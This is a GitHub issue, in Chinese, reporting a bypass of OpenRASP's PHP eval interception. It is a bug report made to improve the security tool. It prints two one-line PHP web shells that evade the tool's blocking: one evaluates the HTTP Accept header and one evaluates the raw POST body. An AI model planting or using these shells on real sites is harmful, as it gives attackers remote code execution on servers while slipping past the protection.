baidu/openrasp

php代码执行绕过

5ibug opened this issue · 1 comments

5ibug commented

php eval绕过拦截执行代码

PHP Version 7.2.33

一句话正常被拦截,但是header一句话就可以绕过拦截
<?php eval($_SERVER['HTTP_ACCEPT']); ?>

Status Protected
Version 1.3.7
Build Time 2022-01-28 17:56:21
Commit Id a0634d6
V8 Version 7.8
5ibug commented

补一个, 这个也可以
eval(file_get_contents("php://input"));
直接post raw